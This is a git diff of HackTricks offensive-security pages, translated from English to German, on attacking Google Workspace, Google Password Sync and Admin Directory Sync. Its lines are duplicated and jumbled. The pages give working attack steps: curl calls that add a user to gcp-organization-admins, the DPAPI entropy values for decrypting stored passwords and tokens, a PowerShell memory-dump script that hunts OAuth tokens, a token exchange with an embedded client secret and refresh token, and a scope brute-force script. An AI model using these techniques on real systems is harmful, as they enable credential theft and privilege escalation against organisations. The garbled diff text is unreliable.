#### Erstellen Sie einen Benutzer und fügen Sie ihn der Gruppe `gcp-organization-admins` hinzu, um zu versuchen, in GCP zu eskalieren.
```bash
# Create new user
curl -X POST \
'https://admin.googleapis.com/admin/directory/v1/users' \
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"primaryEmail": "deleteme@domain.com",
"name": {
"givenName": "Delete",
"familyName": "Me"
},
"password": "P4ssw0rdStr0ng!",
"changePasswordAtNextLogin": false
}'
'https://admin.googleapis.com/admin/directory/v1/users' \
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"primaryEmail": "deleteme@domain.com",
"name": {
"givenName": "Delete",
"familyName": "Me"
},
"password": "P4ssw0rdStr0ng!",
"changePasswordAtNextLogin": false
}'
# Add to group
curl -X POST \
'https://admin.googleapis.com/admin/directory/v1/groups/gcp-organization-admins@domain.com/members' \
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"email": "deleteme@domain.com",
"role": "OWNER"
}'
'https://admin.googleapis.com/admin/directory/v1/groups/gcp-organization-admins@domain.com/members' \
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"email": "deleteme@domain.com",
"role": "OWNER"
}'
# You could also change the password of a user for example
```
> [!CAUTION]
> It's not possible to give the new user the Super Amin role because the **refresh token doesn't have enough scopes** to give the required privileges.
> Es ist nicht möglich, dem neuen Benutzer die Super Admin-Rolle zuzuweisen, da das **Aktualisierungstoken nicht über genügend Berechtigungen verfügt**, um die erforderlichen Privilegien zu gewähren.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,57 +2,56 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Grundinformationen
This is the binary and service that Google offers in order to **keep synchronized the passwords of the users between the AD** and Workspace. Every-time a user changes his password in the AD, it's set to Google.
Dies ist die Binärdatei und der Dienst, den Google anbietet, um **die Passwörter der Benutzer zwischen dem AD** und Workspace **synchronisiert zu halten**. Jedes Mal, wenn ein Benutzer sein Passwort im AD ändert, wird es auf Google gesetzt.
It gets installed in `C:\Program Files\Google\Password Sync` where you can find the binary `PasswordSync.exe` to configure it and `password_sync_service.exe` (the service that will continue running).
Es wird in `C:\Program Files\Google\Password Sync` installiert, wo Sie die Binärdatei `PasswordSync.exe` zur Konfiguration und `password_sync_service.exe` (der Dienst, der weiterläuft) finden können.
### GPS - Configuration
### GPS - Konfiguration
To configure this binary (and service), it's needed to **give it access to a Super Admin principal in Workspace**:
Um diese Binärdatei (und den Dienst) zu konfigurieren, ist es notwendig, **ihm Zugriff auf ein Super Admin-Konto in Workspace** zu gewähren:
- Login via **OAuth** with Google and then it'll **store a token in the registry (encrypted)**
- Only available in Domain Controllers with GUI
- Giving some **Service Account credentials from GCP** (json file) with permissions to **manage the Workspace users**
- Very bad idea as those credentials never expired and could be misused
- Very bad idea give a SA access over workspace as the SA could get compromised in GCP and it'll possible to pivot to Workspace
- Google require it for domain controlled without GUI
- These creds are also stored in the registry
- Anmeldung über **OAuth** mit Google, danach wird **ein Token in der Registrierung (verschlüsselt) gespeichert**
- Nur verfügbar auf Domänencontrollern mit GUI
- Bereitstellung von **Service Account-Anmeldeinformationen von GCP** (json-Datei) mit Berechtigungen zur **Verwaltung der Workspace-Benutzer**
- Sehr schlechte Idee, da diese Anmeldeinformationen niemals ablaufen und missbraucht werden könnten
- Sehr schlechte Idee, einem SA Zugriff auf Workspace zu gewähren, da der SA in GCP kompromittiert werden könnte und es möglich wäre, zu Workspace zu pivotieren
- Google verlangt dies für domänenkontrollierte Umgebungen ohne GUI
- Diese Anmeldeinformationen werden ebenfalls in der Registrierung gespeichert
Regarding AD, it's possible to indicate it to use the current **applications context, anonymous or some specific credentials**. If the credentials option is selected, the **username** is stored inside a file in the **disk** and the **password** is **encrypted** and stored in the **registry**.
Bezüglich AD ist es möglich, anzugeben, dass der aktuelle **Anwendungskontext, anonym oder einige spezifische Anmeldeinformationen** verwendet werden sollen. Wenn die Option Anmeldeinformationen ausgewählt ist, wird der **Benutzername** in einer Datei auf der **Festplatte** gespeichert und das **Passwort** ist **verschlüsselt** und in der **Registrierung** gespeichert.
### GPS - Dumping password and token from disk
### GPS - Dumping Passwort und Token von der Festplatte
> [!TIP]
> Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GPS**, get information about the configuration and **even decrypt the password and token**.
> Beachten Sie, dass [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) in der Lage ist, **GPS** zu erkennen, Informationen über die Konfiguration zu erhalten und **sogar das Passwort und Token zu entschlüsseln**.
In the file **`C:\ProgramData\Google\Google Apps Password Sync\config.xml`** it's possible to find part of the configuration like the **`baseDN`** of the AD configured and the **`username`** whose credentials are being used.
In der Datei **`C:\ProgramData\Google\Google Apps Password Sync\config.xml`** ist es möglich, Teile der Konfiguration wie den **`baseDN`** des konfigurierten AD und den **`Benutzernamen`**, dessen Anmeldeinformationen verwendet werden, zu finden.
In the registry **`HKLM\Software\Google\Google Apps Password Sync`** it's possible to find the **encrypted refresh token** and the **encrypted password** for the AD user (if any). Moreover, if instead of an token, some **SA credentials** are used, it's also possible to find those encrypted in that registry address. The **values** inside this registry are only **accessible** by **Administrators**.
In der Registrierung **`HKLM\Software\Google\Google Apps Password Sync`** ist es möglich, das **verschlüsselte Refresh-Token** und das **verschlüsselte Passwort** für den AD-Benutzer (falls vorhanden) zu finden. Darüber hinaus, wenn anstelle eines Tokens einige **SA-Anmeldeinformationen** verwendet werden, ist es auch möglich, diese verschlüsselt an dieser Registrierungsadresse zu finden. Die **Werte** in dieser Registrierung sind nur für **Administratoren** **zugänglich**.
The encrypted **password** (if any) is inside the key **`ADPassword`** and is encrypted using **`CryptProtectData`** API. To decrypt it, you need to be the same user as the one that configured the password sync and use this **entropy** when using the **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };`
Das verschlüsselte **Passwort** (falls vorhanden) befindet sich im Schlüssel **`ADPassword`** und ist mit der **`CryptProtectData`** API verschlüsselt. Um es zu entschlüsseln, müssen Sie der gleiche Benutzer sein wie der, der die Passwortsynchronisierung konfiguriert hat, und diese **Entropie** verwenden, wenn Sie die **`CryptUnprotectData`** verwenden: `byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };`
The encrypted token (if any) is inside the key **`AuthToken`** and is encrypted using **`CryptProtecData`** API. To decrypt it, you need to be the same user as the one that configured the password sync and use this **entropy** when using the **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };`\
Moreover, it's also encoded using base32hex with the dictionary **`0123456789abcdefghijklmnopqrstv`**.
Das verschlüsselte Token (falls vorhanden) befindet sich im Schlüssel **`AuthToken`** und ist mit der **`CryptProtectData`** API verschlüsselt. Um es zu entschlüsseln, müssen Sie der gleiche Benutzer sein wie der, der die Passwortsynchronisierung konfiguriert hat, und diese **Entropie** verwenden, wenn Sie die **`CryptUnprotectData`** verwenden: `byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };`\
Darüber hinaus ist es auch mit base32hex unter Verwendung des Wörterbuchs **`0123456789abcdefghijklmnopqrstv`** codiert.
The entropy values were found by using the tool . It was configured to monitor the calls to **`CryptUnprotectData`** and **`CryptProtectData`** and then the tool was used to launch and monitor `PasswordSync.exe` which will decrypt the configured password and auth token at the beginning and the tool will **show the values for the entropy used** in both cases:
Die Entropiewerte wurden mit dem Tool gefunden. Es wurde konfiguriert, um die Aufrufe von **`CryptUnprotectData`** und **`CryptProtectData`** zu überwachen, und dann wurde das Tool verwendet, um `PasswordSync.exe` zu starten und zu überwachen, das das konfigurierte Passwort und das Auth-Token zu Beginn entschlüsselt, und das Tool wird **die Werte für die verwendete Entropie** in beiden Fällen **anzeigen**:
<figure><img src="../../../images/telegram-cloud-photo-size-4-5782633230648853886-y.jpg" alt=""><figcaption></figcaption></figure>
Note that it's also possible to see the **decrypted** values in the input or output of the calls to these APIs also (in case at some point Winpeas stop working).
Beachten Sie, dass es auch möglich ist, die **entschlüsselten** Werte in den Eingaben oder Ausgaben der Aufrufe dieser APIs zu sehen (für den Fall, dass Winpeas irgendwann nicht mehr funktioniert).
In case the Password Sync was **configured with SA credentials**, it will also be stored in keys inside the registry **`HKLM\Software\Google\Google Apps Password Sync`**.
Falls die Passwortsynchronisierung **mit SA-Anmeldeinformationen konfiguriert wurde**, wird sie ebenfalls in Schlüsseln in der Registrierung **`HKLM\Software\Google\Google Apps Password Sync`** gespeichert.
### GPS - Dumping tokens from memory
### GPS - Dumping Tokens aus dem Speicher
Just like with GCPW, it's possible to dump the memory of the process of the `PasswordSync.exe` and the `password_sync_service.exe` processes and you will be able to find refresh and access tokens (if they have been generated already).\
I guess you could also find the AD configured credentials.
Genau wie bei GCPW ist es möglich, den Speicher des Prozesses von `PasswordSync.exe` und `password_sync_service.exe` zu dumpen, und Sie werden in der Lage sein, Refresh- und Zugriffstoken zu finden (falls sie bereits generiert wurden).\
Ich nehme an, Sie könnten auch die konfigurierten AD-Anmeldeinformationen finden.
<details>
<summary>Dump <code>PasswordSync.exe</code> and the <code>password_sync_service.exe</code> processes and search tokens</summary>
<summary>Dump <code>PasswordSync.exe</code> und die <code>password_sync_service.exe</code> Prozesse und suche nach Tokens</summary>
```powershell
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe"
@@ -61,8 +60,8 @@ $dumpFolder = "C:\Users\Public\dumps"
# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)
# Show EULA if it wasn't accepted yet for strings
@@ -70,7 +69,7 @@ $stringsPath
# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
New-Item -Path $dumpFolder -ItemType Directory
}
# Get all Chrome process IDs
@@ -79,94 +78,90 @@ $chromeProcesses = Get-Process | Where-Object { $processNames -contains $_.Name
# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}
# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {
foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {
$matches = Select-String -Path $file -Pattern $regex -AllMatches
$matches = Select-String -Path $file -Pattern $regex -AllMatches
$uniqueMatches = @{}
$uniqueMatches = @{}
foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText = $matchInfo.Line.Trim()
FilePath = $matchInfo.Path
}
}
}
}
foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText = $matchInfo.Line.Trim()
FilePath = $matchInfo.Path
}
}
}
}
foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}
foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}
Write-Output ""
}
Write-Output ""
}
}
```
</details>
### GPS - Generating access tokens from refresh tokens
Using the refresh token it's possible to generate access tokens using it and the client ID and client secret specified in the following command:
### GPS - Zugriffstoken aus Aktualisierungstoken generieren
Mit dem Aktualisierungstoken ist es möglich, Zugriffstoken zu generieren, indem es zusammen mit der Client-ID und dem Client-Secret verwendet wird, die im folgenden Befehl angegeben sind:
```bash
curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
https://www.googleapis.com/oauth2/v4/token
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
https://www.googleapis.com/oauth2/v4/token
```
### GPS - Scopes
> [!NOTE]
> Note that even having a refresh token, it's not possible to request any scope for the access token as you can only requests the **scopes supported by the application where you are generating the access token**.
> Beachten Sie, dass es selbst mit einem Refresh-Token nicht möglich ist, einen beliebigen Scope für das Access-Token anzufordern, da Sie nur die **Scopes anfordern können, die von der Anwendung unterstützt werden, in der Sie das Access-Token generieren**.
>
> Also, the refresh token is not valid in every application.
> Außerdem ist das Refresh-Token nicht in jeder Anwendung gültig.
By default GPS won't have access as the user to every possible OAuth scope, so using the following script we can find the scopes that can be used with the `refresh_token` to generate an `access_token`:
Standardmäßig hat GPS nicht als Benutzer Zugriff auf jeden möglichen OAuth-Scope. Mit dem folgenden Skript können wir die Scopes finden, die mit dem `refresh_token` verwendet werden können, um ein `access_token` zu generieren:
<details>
<summary>Bash script to brute-force scopes</summary>
<summary>Bash-Skript zum Brute-Forcen von Scopes</summary>
```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope \r"
if ! curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
--data "scope=$scope" \
https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then
echo ""
echo $scope
echo $scope >> /tmp/valid_scopes.txt
fi
echo -ne "Testing $scope \r"
if ! curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
--data "scope=$scope" \
https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then
echo ""
echo $scope
echo $scope >> /tmp/valid_scopes.txt
fi
done
echo ""
@@ -175,22 +170,15 @@ echo "Valid scopes:"
cat /tmp/valid_scopes.txt
rm /tmp/valid_scopes.txt
```
</details>
And this is the output I got at the time of the writing:
Und dies ist die Ausgabe, die ich zum Zeitpunkt des Schreibens erhalten habe:
```
https://www.googleapis.com/auth/admin.directory.user
```
Which is the same one you get if you don't indicate any scope.
Welche dasselbe ist, was Sie erhalten, wenn Sie keinen Geltungsbereich angeben.
> [!CAUTION]
> With this scope you could **modify the password of a existing user to escalate privileges**.
> Mit diesem Geltungsbereich könnten Sie **das Passwort eines bestehenden Benutzers ändern, um Berechtigungen zu eskalieren**.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,60 +2,56 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Grundinformationen
The main difference between this way to synchronize users with GCDS is that GCDS is done manually with some binaries you need to download and run while **Admin Directory Sync is serverless** managed by Google in [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories).
Der Hauptunterschied zwischen dieser Methode zur Synchronisierung von Benutzern mit GCDS besteht darin, dass GCDS manuell mit einigen Binärdateien durchgeführt wird, die Sie herunterladen und ausführen müssen, während **Admin Directory Sync serverlos** von Google in [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories) verwaltet wird.
At the moment of this writing this service is in beta and it supports 2 types of synchronization: From **Active Directory** and from **Azure Entra ID:**
Zum Zeitpunkt des Schreibens ist dieser Dienst in der Beta-Phase und unterstützt 2 Arten der Synchronisierung: Von **Active Directory** und von **Azure Entra ID:**
- **Active Directory:** In order to set this up you need to give **access to Google to you Active Directory environment**. And as Google only has access to GCP networks (via **VPC connectors**) you need to create a connector and then make your AD available from that connector by having it in VMs in the GCP network or using Cloud VPN or Cloud Interconnect. Then, you also need to provide **credentials** of an account with read access over the directory and **certificate** to contact via **LDAPS**.
- **Azure Entra ID:** To configure this it's just needed to **login in Azure with a user with read access** over the Entra ID subscription in a pop-up showed by Google, and Google will keep the token with read access over Entra ID.
- **Active Directory:** Um dies einzurichten, müssen Sie **Google Zugriff auf Ihre Active Directory-Umgebung gewähren**. Da Google nur Zugriff auf GCP-Netzwerke (über **VPC-Connectoren**) hat, müssen Sie einen Connector erstellen und dann Ihr AD über diesen Connector verfügbar machen, indem Sie es in VMs im GCP-Netzwerk haben oder Cloud VPN oder Cloud Interconnect verwenden. Dann müssen Sie auch **Anmeldeinformationen** eines Kontos mit Lesezugriff auf das Verzeichnis und ein **Zertifikat** bereitstellen, um über **LDAPS** zu kommunizieren.
- **Azure Entra ID:** Um dies zu konfigurieren, ist es nur erforderlich, sich mit einem Benutzer mit Lesezugriff über das Entra ID-Abonnement in einem von Google angezeigten Pop-up bei Azure anzumelden, und Google wird das Token mit Lesezugriff über Entra ID speichern.
Once correctly configured, both options will allow to **synchronize users and groups to Workspace**, but it won't allow to configure users and groups from Workspace to AD or EntraID.
Sobald es korrekt konfiguriert ist, ermöglichen beide Optionen die **Synchronisierung von Benutzern und Gruppen mit Workspace**, jedoch nicht die Konfiguration von Benutzern und Gruppen von Workspace zu AD oder EntraID.
Other options that it will allow during this synchronization are:
Weitere Optionen, die während dieser Synchronisierung ermöglicht werden, sind:
- Send an email to the new users to log-in
- Automatically change their email address to the one used by Workspace. So if Workspace is using `@hacktricks.xyz` and EntraID users use `@carloshacktricks.onmicrosoft.com`, `@hacktricks.xyz` will be used for the users created in the account.
- Select the **groups containing the users** that will be synced.
- Select to **groups** to synchronize and create in Workspace (or indicate to synchronize all groups).
- Senden Sie eine E-Mail an die neuen Benutzer, um sich anzumelden
- Ändern Sie automatisch ihre E-Mail-Adresse in die von Workspace verwendete. Wenn Workspace also `@hacktricks.xyz` verwendet und EntraID-Benutzer `@carloshacktricks.onmicrosoft.com` verwenden, wird `@hacktricks.xyz` für die im Konto erstellten Benutzer verwendet.
- Wählen Sie die **Gruppen aus, die die Benutzer enthalten**, die synchronisiert werden sollen.
- Wählen Sie **Gruppen** aus, die synchronisiert und in Workspace erstellt werden sollen (oder geben Sie an, alle Gruppen zu synchronisieren).
### From AD/EntraID -> Google Workspace (& GCP)
### Von AD/EntraID -> Google Workspace (& GCP)
If you manage to compromise an AD or EntraID you will have total control of the users & groups that are going to be synchronized with Google Workspace.\
However, notice that the **passwords** the users might be using in Workspace **could be the same ones or not**.
Wenn es Ihnen gelingt, ein AD oder EntraID zu kompromittieren, haben Sie die volle Kontrolle über die Benutzer und Gruppen, die mit Google Workspace synchronisiert werden.\
Beachten Sie jedoch, dass die **Passwörter**, die die Benutzer möglicherweise in Workspace verwenden, **die gleichen oder unterschiedliche sein könnten**.
#### Attacking users
#### Angreifen von Benutzern
When the synchronization happens it might synchronize **all the users from AD or only the ones from a specific OU** or only the **users members of specific groups in EntraID**. This means that to attack a synchronized user (or create a new one that gets synchronized) you will need first to figure out which users are being synchronized.
Wenn die Synchronisierung erfolgt, kann sie **alle Benutzer aus AD oder nur die aus einer bestimmten OU** oder nur die **Benutzer, die Mitglieder bestimmter Gruppen in EntraID sind**, synchronisieren. Das bedeutet, dass Sie, um einen synchronisierten Benutzer anzugreifen (oder einen neuen zu erstellen, der synchronisiert wird), zuerst herausfinden müssen, welche Benutzer synchronisiert werden.
- Users might be **reusing the password or not from AD or EntraID**, but this mean that you will need to **compromise the passwords of the users to login**.
- If you have access to the **mails** of the users, you could **change the Workspace password of an existing user**, or **create a new user**, wait until it gets synchronized an setup the account.
- Benutzer könnten **das Passwort von AD oder EntraID wiederverwenden oder nicht**, aber das bedeutet, dass Sie die **Passwörter der Benutzer kompromittieren müssen, um sich anzumelden**.
- Wenn Sie Zugriff auf die **E-Mails** der Benutzer haben, könnten Sie **das Workspace-Passwort eines vorhandenen Benutzers ändern** oder **einen neuen Benutzer erstellen**, warten, bis er synchronisiert wird, und das Konto einrichten.
Once you access the user inside Workspace it might be given some **permissions by default**.
Sobald Sie auf den Benutzer in Workspace zugreifen, könnten ihm standardmäßig einige **Berechtigungen gewährt werden**.
#### Attacking Groups
#### Angreifen von Gruppen
You also need to figure out first which groups are being synchronized. Although there is the possibility that **ALL** the groups are being synchronized (as Workspace allows this).
Sie müssen auch zuerst herausfinden, welche Gruppen synchronisiert werden. Obwohl die Möglichkeit besteht, dass **ALLE** Gruppen synchronisiert werden (da Workspace dies zulässt).
> [!NOTE]
> Note that even if the groups and memberships are imported into Workspace, the **users that aren't synchronized in the users sychronization won't be created** during groups synchronization even if they are members of any of the groups synchronized.
> Beachten Sie, dass selbst wenn die Gruppen und Mitgliedschaften in Workspace importiert werden, die **Benutzer, die nicht in der Benutzersynchronisierung synchronisiert werden, nicht** während der Gruppensynchronisierung erstellt werden, selbst wenn sie Mitglieder einer der synchronisierten Gruppen sind.
If you know which groups from Azure are being **assigned permissions in Workspace or GCP**, you could just add a compromised user (or newly created) in that group and get those permissions.
Wenn Sie wissen, welche Gruppen aus Azure **Berechtigungen in Workspace oder GCP zugewiesen bekommen**, könnten Sie einfach einen kompromittierten Benutzer (oder neu erstellten) in diese Gruppe hinzufügen und diese Berechtigungen erhalten.
There is another option to abuse existing privileged groups in Workspace. For example, the group `gcp-organization-admins@<workspace.email>` usually has high privileges over GCP.
Es gibt eine weitere Möglichkeit, bestehende privilegierte Gruppen in Workspace auszunutzen. Zum Beispiel hat die Gruppe `gcp-organization-admins@<workspace.email>` normalerweise hohe Berechtigungen über GCP.
If the synchronization from, for example EntraID, to Workspace is **configured to replace the domain** of the imported object **with the email of Workspace**, it will be possible for an attacker to create the group `gcp-organization-admins@<entraid.email>` in EntraID, add a user in this group, and wait until the synchronization of all the groups happen.\
**The user will be added in the group `gcp-organization-admins@<workspace.email>` escalating privileges in GCP.**
Wenn die Synchronisierung von beispielsweise EntraID zu Workspace **so konfiguriert ist, dass die Domain** des importierten Objekts **mit der E-Mail von Workspace ersetzt wird**, wird es einem Angreifer möglich sein, die Gruppe `gcp-organization-admins@<entraid.email>` in EntraID zu erstellen, einen Benutzer in dieser Gruppe hinzuzufügen und zu warten, bis die Synchronisierung aller Gruppen erfolgt.\
**Der Benutzer wird der Gruppe `gcp-organization-admins@<workspace.email>` hinzugefügt, wodurch die Berechtigungen in GCP eskaliert werden.**
### From Google Workspace -> AD/EntraID
### Von Google Workspace -> AD/EntraID
Note that Workspace require credentials with read only access over AD or EntraID to synchronize users and groups. Therefore, it's not possible to abuse Google Workspace to perform any change in AD or EntraID. So **this isn't possible** at this moment.
Beachten Sie, dass Workspace Anmeldeinformationen mit nur Lesezugriff auf AD oder EntraID benötigt, um Benutzer und Gruppen zu synchronisieren. Daher ist es nicht möglich, Google Workspace auszunutzen, um Änderungen in AD oder EntraID vorzunehmen. Daher **ist dies im Moment nicht möglich**.
I also don't know where does Google store the AD credentials or EntraID token and you **can't recover them re-configuring the synchronizarion** (they don't appear in the web form, you need to give them again). However, from the web it might be possible to abuse the current functionality to **list users and groups**.
Ich weiß auch nicht, wo Google die AD-Anmeldeinformationen oder das EntraID-Token speichert, und Sie **können sie nicht wiederherstellen, indem Sie die Synchronisierung neu konfigurieren** (sie erscheinen nicht im Webformular, Sie müssen sie erneut angeben). Es könnte jedoch möglich sein, die aktuelle Funktionalität über das Web auszunutzen, um **Benutzer und Gruppen aufzulisten**.
{{#include ../../../banners/hacktricks-training.md}}